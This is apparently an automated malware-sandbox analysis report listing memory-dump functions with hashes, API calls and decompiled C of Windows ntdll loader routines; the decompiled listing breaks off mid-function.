Opcode Fuzzy Hash: 45b486a2f403d740fc44ac0071e1c1df75a3b7932e31f18b8a141be4dae2ebe3
Instruction Fuzzy Hash: D5D02BB61092108FC7002F285D549A9B557EA5A3743748739E9B6E72F1C334C0028650

Uniqueness

Uniqueness Score: -1.00%

Function 1E139660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E13966A

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4c9089a77e1fa76f98f915b2b3ada28deb7bb30c962be6b9068bfc86dbdb32d9
Instruction ID: 22a05a3aaa38efe485422d893e856a0fcc2d158dd5e73ac320860cb78f35d39f
Opcode Fuzzy Hash: 4c9089a77e1fa76f98f915b2b3ada28deb7bb30c962be6b9068bfc86dbdb32d9
Instruction Fuzzy Hash: 3A90027130100802D580715A4404A4E000557D1751FE1C119E0026664DCB558A9977E1

Uniqueness

Uniqueness Score: -1.00%

Function 1E1396E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E1396EA

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aa2f8cf0195f07307322fd6622a5fdf1a89c280410c262ef13f0021b7bad2c47
Instruction ID: 31d8adf6046cd95e9312c211e66fb3a756f7a32ae28af29cf0e98520b2bb3e9c
Opcode Fuzzy Hash: aa2f8cf0195f07307322fd6622a5fdf1a89c280410c262ef13f0021b7bad2c47
Instruction Fuzzy Hash: AF90027130108802D510615A8404B4E000557D0751FE5C515E4425668D87D588D17161

Uniqueness

Uniqueness Score: -1.00%

Function 1E139860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E13986A

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: baaebb9b8b9096a6d718a887cdded98f5c7d3413250e03dec3ca61c0a6c84ae9
Instruction ID: 81211852de343847b783e30284aed3bc7a88a0c29b81e65143677091e3d29b32
Opcode Fuzzy Hash: baaebb9b8b9096a6d718a887cdded98f5c7d3413250e03dec3ca61c0a6c84ae9
Instruction Fuzzy Hash: 2C90027130100413D511615A4504B0B000957D0691FE1C516E0425568D97968992B161

Uniqueness

Uniqueness Score: -1.00%

Function 00565433, Relevance: 1.5, APIs: 1, Instructions: 46threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 005654A9

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: fb8a64f94bfe77788f392530c2648bff72a04ba29f264aab0df8aee2e11bdb70
Instruction ID: de11b74a94bf77532a48ed6f851d54a9520b3fb79d4e53d053f9384d4a407415
Opcode Fuzzy Hash: fb8a64f94bfe77788f392530c2648bff72a04ba29f264aab0df8aee2e11bdb70
Instruction Fuzzy Hash: 0CE08C1018975259EF221A544E967C02F21BF623B2F7852E29CC2964C2BA9804CA8313

Uniqueness

Uniqueness Score: -1.00%

Function 00565464, Relevance: 1.5, APIs: 1, Instructions: 39threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 005654A9

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: e68d4df614b68a7bc21f0e065f7cc2c907b05249b6a9bd50f69530b361387fbc
Instruction ID: e11444c69390d0a66957a51f9c5c4f3133ae9b7079b693dc3a12fd9206fad888
Opcode Fuzzy Hash: e68d4df614b68a7bc21f0e065f7cc2c907b05249b6a9bd50f69530b361387fbc
Instruction Fuzzy Hash: E2F0E221744B0657EF248C588ED47C52752FFA93B3F64C275EC86831C5FB6448C68601

Uniqueness

Uniqueness Score: -1.00%

Function 0056548E, Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 005654A9

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 0dbdf29189a81dd4cf42975abe8ed13aa7d42ef992c9d91b90dec1a5e2e7509c
Instruction ID: bc5edea70908df627afe8aaf56e93ca6605ef96da72a15ddb19d71f2eae79990
Opcode Fuzzy Hash: 0dbdf29189a81dd4cf42975abe8ed13aa7d42ef992c9d91b90dec1a5e2e7509c
Instruction Fuzzy Hash: 90D05E1118071362EE241C845E897D01A076B923B2EB842619C935A1C1BA9909C64202

Uniqueness

Uniqueness Score: -1.00%

Function 1E13967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E139694

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2d83dc6d7426160fdc08356e306eb35bf7cf00fd20bc5d00bdb2d2251cfe61f6
Instruction ID: 99254b4deadf9b1af796a4f8294f644504bfecb08fc9805bbba37215d1872fd7
Opcode Fuzzy Hash: 2d83dc6d7426160fdc08356e306eb35bf7cf00fd20bc5d00bdb2d2251cfe61f6
Instruction Fuzzy Hash: A4B09BF19064C5C5D601D7614708B1B7D0577D0751FB6C155D1130651E4778C0D1F5B5

Uniqueness

Uniqueness Score: -1.00%

Function 0056564E, Relevance: 1.3, APIs: 1, Instructions: 23sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000005), ref: 005656DA

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b4c47aba46dbb90156988388a740a7bd3917ac7bb33a85986fdad7547f1000b3
Instruction ID: efbc7461491412ef4358ac1366079b35008e957c855358e07b2e0bef5dd40c2a
Opcode Fuzzy Hash: b4c47aba46dbb90156988388a740a7bd3917ac7bb33a85986fdad7547f1000b3
Instruction Fuzzy Hash: C1E048707C4B408FE7145F60C98DB546A62BF54710FD5899DDE0A4B0A3F775C880CB11

Uniqueness

Uniqueness Score: -1.00%

Function 005656AF, Relevance: 1.3, APIs: 1, Instructions: 18sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000005), ref: 005656DA
NtProtectVirtualMemory.NTDLL(000000FF,-0000101C,-00000018), ref: 00565723

Memory Dump Source

Source File: 00000009.00000002.472773391.0000000000565000.00000040.00000001.sdmp, Offset: 00565000, based on PE: false

Similarity

API ID: MemoryProtectSleepVirtual
String ID:
API String ID: 3235210055-0
Opcode ID: 21c8689ade320c01d98a90fdf6d42161f3e64af64100d86b3ccb7d9d28728248
Instruction ID: dd275f027d9833a0927d88e92b48e7c2685bb7886c7244dca06ce4dc06d57c63
Opcode Fuzzy Hash: 21c8689ade320c01d98a90fdf6d42161f3e64af64100d86b3ccb7d9d28728248
Instruction Fuzzy Hash: 39E08CB03847808FE7048F60CA8DF90BB62AF09B10F9982C8DA080F0F2E7608881CB11

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 1E128E00, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 126
timeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E1E128E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x1e1ed360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x1e1e8464; // 0x74b10110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x1e1e5780 & 0x00000003) != 0) {
							E1E175510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x1e1e5780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E1E13B640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x1e1e7984; // 0x7c2bb8
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x1e1e8464; // 0x74b10110
					 *0x1e1eb1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E1E129B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x1e1e5780 & 0x00000005) != 0) {
						_push(_t49);
						E1E175510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x1e128e0f
0x1e128e16
0x1e128e19
0x1e128e1b
0x1e128e21
0x1e128e7f
0x1e128e85
0x1e169354
0x1e16936c
0x1e169371
0x1e16937b
0x1e169381
0x1e169381
0x1e16937b
0x1e128e9d
0x1e128e9d
0x1e128e29
0x1e128e2c
0x1e128e38
0x1e128e3e
0x1e128e43
0x1e128eb5
0x1e128eb9
0x1e1692aa
0x1e1692af
0x1e1692e8
0x1e1692e8
0x1e1692af
0x1e128eb9
0x1e128e45
0x1e128e53
0x1e128e5b
0x1e128e5f
0x1e128e78
0x1e128e78
0x1e128e7d
0x1e128ec3
0x1e128ecd
0x1e128ed2
0x1e128ed2
0x1e128ec5
0x1e128ec5
0x00000000
0x1e128e7d
0x1e128e67
0x1e128ea4
0x1e16931a
0x00000000
0x00000000
0x1e169320
0x1e128ea4
0x1e128e70
0x1e169325
0x1e169340
0x1e169345
0x1e169345
0x1e128e76
0x00000000
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E128E53

Strings

LdrpFindDllActivationContext, xrefs: 1E169331, 1E16935D
minkernel\ntdll\ldrsnap.c, xrefs: 1E16933B, 1E169367
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 1E16932A
Querying the active activation context failed with status 0x%08lx, xrefs: 1E169357

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-3779518884
Opcode ID: ec427f72b5c1ffcf99c1a519867b315d06a1a99a20d5a5f77b73e5f710ad0f36
Instruction ID: 69812f46de894be83e0d15bf432bfd185576d6a1f7fd5de2ae8e3aba4ab89562
Opcode Fuzzy Hash: ec427f72b5c1ffcf99c1a519867b315d06a1a99a20d5a5f77b73e5f710ad0f36
Instruction Fuzzy Hash: E7410232D103679FDB15AA588E98A6AF3A7FB04258FB6877AFC0457154E770ACC08381

Uniqueness

Uniqueness Score: -1.00%

Function 1E10D5E0, Relevance: 1.9, APIs: 1, Instructions: 353
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E1E10D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x1e1ed360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E1E106600(0x1e1e52d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x1e1e7b9c; // 0x0
							_t281 = L1E114620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E1E13F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x1e1e7b90; // 0x77df0000
								if(_t384 == 0) {
									_t353 =  *0x1e1e7b8c; // 0x7c2ad0
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E1E112280(_t200, 0x1e1e84d8);
									_t277 =  *0x1e1e85f4; // 0x7c4100
									_t351 =  *0x1e1e85f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0x7c4098
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E1E10FFB0(_t287, _t353, 0x1e1e84d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E1E14CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E1E106600(0x1e1e52d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E1E107926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x1e1eb239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E1E17E974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x1e1e8472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0x1e1eb218; // 0x0
														asm("ror edi, cl");
														 *0x1e1eb1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E1E112280(_t250, 0x1e1e84d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L1E133898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E1E10FFB0(_t293, _t353, 0x1e1e84d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E1E1337F5(_t353, 0);
																}
																E1E130413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E1E129B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E1E1202D6(_t174);
																}
																L1E1177F0( *0x1e1e7b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E1E12C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L1E10EC7F(_t353);
										L1E1219B8(_t287, 0, _t353, 0);
										_t200 = E1E0FF4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L1E1177F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E1E13B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0x1e1eb2f8; // 0x0
									if((_t206 |  *0x1e1eb2fc) == 0 || ( *0x1e1eb2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0x1e1eb2ec; // 0x0
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E1E1A6B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E1E1A6AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E1E10E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L1E10EAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E1E139730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E1E10E9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L1E108F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E1E133C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
